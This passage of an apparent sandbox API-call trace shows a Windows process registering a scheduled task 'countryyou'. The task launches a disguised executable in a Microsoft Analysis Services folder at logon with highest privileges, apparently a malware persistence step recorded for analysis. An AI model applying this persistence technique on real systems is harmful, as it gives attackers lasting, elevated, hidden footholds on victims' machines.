(lpFirst="|du|", lpSrch="|f|") returned 0x0 [0072.818] SetLastError (dwErrCode=0x490) [0072.818] lstrlenW (lpString="ri") returned 2 [0072.818] lstrlenW (lpString="ri") returned 2 [0072.818] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.818] lstrlenW (lpString="f") returned 1 [0072.818] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.818] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ri|") returned 4 [0072.818] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.818] lstrlenW (lpString="|ri|") returned 4 [0072.818] lstrlenW (lpString="|f|") returned 3 [0072.818] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0072.818] SetLastError (dwErrCode=0x490) [0072.818] lstrlenW (lpString="z") returned 1 [0072.818] lstrlenW (lpString="z") returned 1 [0072.818] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.818] lstrlenW (lpString="f") returned 1 [0072.818] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.818] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|z|") returned 3 [0072.818] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.818] lstrlenW (lpString="|z|") returned 3 [0072.818] lstrlenW (lpString="|f|") returned 3 [0072.818] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0072.818] SetLastError (dwErrCode=0x490) [0072.819] lstrlenW (lpString="f") returned 1 [0072.819] lstrlenW (lpString="f") returned 1 [0072.819] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.819] lstrlenW (lpString="f") returned 1 [0072.819] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.819] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.819] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|f|") returned 3 [0072.819] lstrlenW (lpString="|f|") returned 3 [0072.819] lstrlenW (lpString="|f|") returned 3 [0072.819] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0072.819] SetLastError (dwErrCode=0x0) [0072.819] SetLastError (dwErrCode=0x0) [0072.819] GetProcessHeap () returned 0x2d0000 [0072.819] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eceb0 [0072.819] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.819] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0072.819] lstrlenW (lpString="LIMITED") returned 7 [0072.819] GetProcessHeap () returned 0x2d0000 [0072.819] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed700 [0072.819] GetThreadLocale () returned 0x409 [0072.819] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0072.819] GetProcessHeap () returned 0x2d0000 [0072.819] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece80 [0072.819] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.819] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0072.820] lstrlenW (lpString="HIGHEST") returned 7 [0072.820] GetProcessHeap () returned 0x2d0000 [0072.820] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed720 [0072.820] GetThreadLocale () returned 0x409 [0072.820] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0072.820] GetProcessHeap () returned 0x2d0000 [0072.820] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece50 [0072.820] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.820] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0072.820] lstrlenW (lpString="MINUTE") returned 6 [0072.820] GetProcessHeap () returned 0x2d0000 [0072.820] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed740 [0072.820] GetThreadLocale () returned 0x409 [0072.820] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0072.820] GetProcessHeap () returned 0x2d0000 [0072.820] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece20 [0072.820] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.820] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0072.820] lstrlenW (lpString="HOURLY") returned 6 [0072.820] GetProcessHeap () returned 0x2d0000 [0072.820] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed760 [0072.820] GetThreadLocale () returned 0x409 [0072.820] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0072.820] GetProcessHeap () returned 0x2d0000 [0072.821] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecdf0 [0072.821] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.821] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0072.821] lstrlenW (lpString="DAILY") returned 5 [0072.821] GetProcessHeap () returned 0x2d0000 [0072.821] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed780 [0072.821] GetThreadLocale () returned 0x409 [0072.821] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0072.821] GetProcessHeap () returned 0x2d0000 [0072.821] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecdc0 [0072.821] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.821] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0072.821] lstrlenW (lpString="WEEKLY") returned 6 [0072.821] GetProcessHeap () returned 0x2d0000 [0072.821] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed7a0 [0072.821] GetThreadLocale () returned 0x409 [0072.821] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0072.821] GetProcessHeap () returned 0x2d0000 [0072.821] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd90 [0072.821] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.821] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0072.821] lstrlenW (lpString="MONTHLY") returned 7 [0072.821] GetProcessHeap () returned 0x2d0000 [0072.821] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed7c0 [0072.821] GetThreadLocale () returned 0x409 [0072.821] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0072.821] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.822] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0072.822] lstrlenW (lpString="ONCE") returned 4 [0072.822] GetProcessHeap () returned 0x2d0000 [0072.822] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ed7e0 [0072.822] GetThreadLocale () returned 0x409 [0072.822] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0072.822] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.822] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0072.822] lstrlenW (lpString="ONSTART") returned 7 [0072.822] GetThreadLocale () returned 0x409 [0072.822] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0072.822] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.822] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0072.822] lstrlenW (lpString="ONLOGON") returned 7 [0072.822] GetThreadLocale () returned 0x409 [0072.822] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0072.822] SetLastError (dwErrCode=0x0) [0072.822] GetProcessHeap () returned 0x2d0000 [0072.822] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x1fc) returned 0x2ec550 [0072.822] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.823] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0072.823] lstrlenW (lpString="First") returned 5 [0072.823] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.823] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0072.823] lstrlenW (lpString="Second") returned 6 [0072.823] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.823] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0072.823] lstrlenW (lpString="Third") returned 5 [0072.823] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.823] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0072.823] lstrlenW (lpString="Fourth") returned 6 [0072.823] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.823] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0072.823] lstrlenW (lpString="Last") returned 4 [0072.823] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.823] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0072.823] lstrlenW (lpString="First") returned 5 [0072.823] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.823] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0072.823] lstrlenW (lpString="Second") returned 6 [0072.823] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.824] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0072.824] lstrlenW (lpString="Third") returned 5 [0072.824] GetProcessHeap () returned 0x2d0000 [0072.824] GetProcessHeap () returned 0x2d0000 [0072.824] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7e0) returned 1 [0072.824] GetProcessHeap () returned 0x2d0000 [0072.824] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed7e0) returned 0xa [0072.824] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7e0 | out: hHeap=0x2d0000) returned 1 [0072.824] GetProcessHeap () returned 0x2d0000 [0072.824] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed7e0 [0072.824] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.824] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0072.824] lstrlenW (lpString="Fourth") returned 6 [0072.824] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.824] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0072.824] lstrlenW (lpString="Last") returned 4 [0072.824] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c2e0, cchData=128 | out: lpLCData="0") returned 2 [0072.824] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.824] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0072.824] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0072.824] GetProcessHeap () returned 0x2d0000 [0072.824] GetProcessHeap () returned 0x2d0000 [0072.825] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700) returned 1 [0072.825] GetProcessHeap () returned 0x2d0000 [0072.825] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed700) returned 0x10 [0072.825] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700 | out: hHeap=0x2d0000) returned 1 [0072.825] GetProcessHeap () returned 0x2d0000 [0072.825] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed700 [0072.825] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c300, cchData=128 | out: lpLCData="0") returned 2 [0072.825] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.825] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0072.825] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0072.825] GetProcessHeap () returned 0x2d0000 [0072.825] GetProcessHeap () returned 0x2d0000 [0072.825] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720) returned 1 [0072.825] GetProcessHeap () returned 0x2d0000 [0072.825] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed720) returned 0x10 [0072.825] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720 | out: hHeap=0x2d0000) returned 1 [0072.825] GetProcessHeap () returned 0x2d0000 [0072.825] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed720 [0072.825] GetLocalTime (in: lpSystemTime=0x19c530 | out: lpSystemTime=0x19c530*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x39, wMilliseconds=0xb6)) [0072.825] GetLocalTime (in: lpSystemTime=0x19cde8 | out: lpSystemTime=0x19cde8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x39, wMilliseconds=0xb6)) [0072.825] lstrlenW (lpString="") returned 0 [0072.826] lstrlenW (lpString="") returned 0 [0072.826] lstrlenW (lpString="") returned 0 [0072.826] lstrlenW (lpString="") returned 0 [0072.826] lstrlenW (lpString="") returned 0 [0072.826] lstrlenW (lpString="") returned 0 [0072.826] lstrlenW (lpString="") returned 0 [0072.826] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0072.849] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0073.076] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19cbb0 | out: ppv=0x19cbb0*=0x1adee0) returned 0x0 [0073.089] TaskScheduler:ITaskService:Connect (This=0x1adee0, serverName=0x19cc90*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19cc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19cc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0073.163] TaskScheduler:IUnknown:AddRef (This=0x1adee0) returned 0x2 [0073.163] TaskScheduler:ITaskService:GetFolder (in: This=0x1adee0, Path=0x0, ppFolder=0x19cd48 | out: ppFolder=0x19cd48*=0x577e30) returned 0x0 [0073.166] TaskScheduler:ITaskService:NewTask (in: This=0x1adee0, flags=0x0, ppDefinition=0x19cd40 | out: ppDefinition=0x19cd40*=0x577e80) returned 0x0 [0073.167] ITaskDefinition:get_Actions (in: This=0x577e80, ppActions=0x19ccc0 | out: ppActions=0x19ccc0*=0x577f40) returned 0x0 [0073.167] IActionCollection:Create (in: This=0x577f40, Type=0, ppAction=0x19cce0 | out: ppAction=0x19cce0*=0x576790) returned 0x0 [0073.167] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.167] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.167] lstrlenW (lpString=" ") returned 1 [0073.167] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.167] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.168] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.168] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.168] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.168] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.169] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.169] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0073.169] IUnknown:Release (This=0x576790) returned 0x1 [0073.169] IUnknown:Release (This=0x577f40) returned 0x1 [0073.170] ITaskDefinition:get_Triggers (in: This=0x577e80, ppTriggers=0x19c840 | out: ppTriggers=0x19c840*=0x576500) returned 0x0 [0073.170] ITriggerCollection:Create (in: This=0x576500, Type=9, ppTrigger=0x19c838 | out: ppTrigger=0x19c838*=0x576800) returned 0x0 [0073.170] IUnknown:QueryInterface (in: This=0x576800, riid=0xff9d1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x19c830 | out: ppvObject=0x19c830*=0x576800) returned 0x0 [0073.170] IUnknown:Release (This=0x576800) returned 0x2 [0073.170] _vsnwprintf (in: _Buffer=0x19c780, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19c758 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0073.170] ITrigger:put_StartBoundary (This=0x576800, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0073.170] lstrlenW (lpString="") returned 0 [0073.170] lstrlenW (lpString="") returned 0 [0073.170] lstrlenW (lpString="") returned 0 [0073.170] lstrlenW (lpString="") returned 0 [0073.170] IUnknown:Release (This=0x576800) returned 0x1 [0073.170] IUnknown:Release (This=0x576500) returned 0x1 [0073.171] ITaskDefinition:get_Settings (in: This=0x577e80, ppSettings=0x19cce0 | out: ppSettings=0x19cce0*=0x576570) returned 0x0 [0073.171] lstrlenW (lpString="") returned 0 [0073.171] IUnknown:Release (This=0x576570) returned 0x1 [0073.171] GetLocalTime (in: lpSystemTime=0x19cb98 | out: lpSystemTime=0x19cb98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x39, wMilliseconds=0x20d)) [0073.171] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0073.171] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0073.171] GetUserNameW (in: lpBuffer=0x19cbc0, pcbBuffer=0x19cba8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19cba8) returned 1 [0073.172] ITaskDefinition:get_RegistrationInfo (in: This=0x577e80, ppRegistrationInfo=0x19cb90 | out: ppRegistrationInfo=0x19cb90*=0x576440) returned 0x0 [0073.172] IRegistrationInfo:put_Author (This=0x576440, Author="") returned 0x0 [0073.172] _vsnwprintf (in: _Buffer=0x19cbc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19cb58 | out: _Buffer="2023-09-19T17:16:57") returned 19 [0073.172] IRegistrationInfo:put_Date (This=0x576440, Date="") returned 0x0 [0073.172] IUnknown:Release (This=0x576440) returned 0x1 [0073.172] malloc (_Size=0x18) returned 0x576910 [0073.173] free (_Block=0x576910) [0073.173] lstrlenW (lpString="") returned 0 [0073.173] ITaskDefinition:get_Principal (in: This=0x577e80, ppPrincipal=0x19cdb0 | out: ppPrincipal=0x19cdb0*=0x5766e0) returned 0x0 [0073.173] IPrincipal:put_RunLevel (This=0x5766e0, RunLevel=1) returned 0x0 [0073.173] IUnknown:Release (This=0x5766e0) returned 0x1 [0073.173] malloc (_Size=0x18) returned 0x576910 [0073.173] ITaskFolder:RegisterTaskDefinition (in: This=0x577e30, Path="countryyou", pDefinition=0x577e80, flags=6, UserId=0x19ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19ce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19ed40, varVal2=0xfe), LogonType=3, sddl=0x19ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19cd50 | out: ppTask=0x19cd50*=0x576ab0) returned 0x0 [0073.409] free (_Block=0x576910) [0073.409] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.409] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task 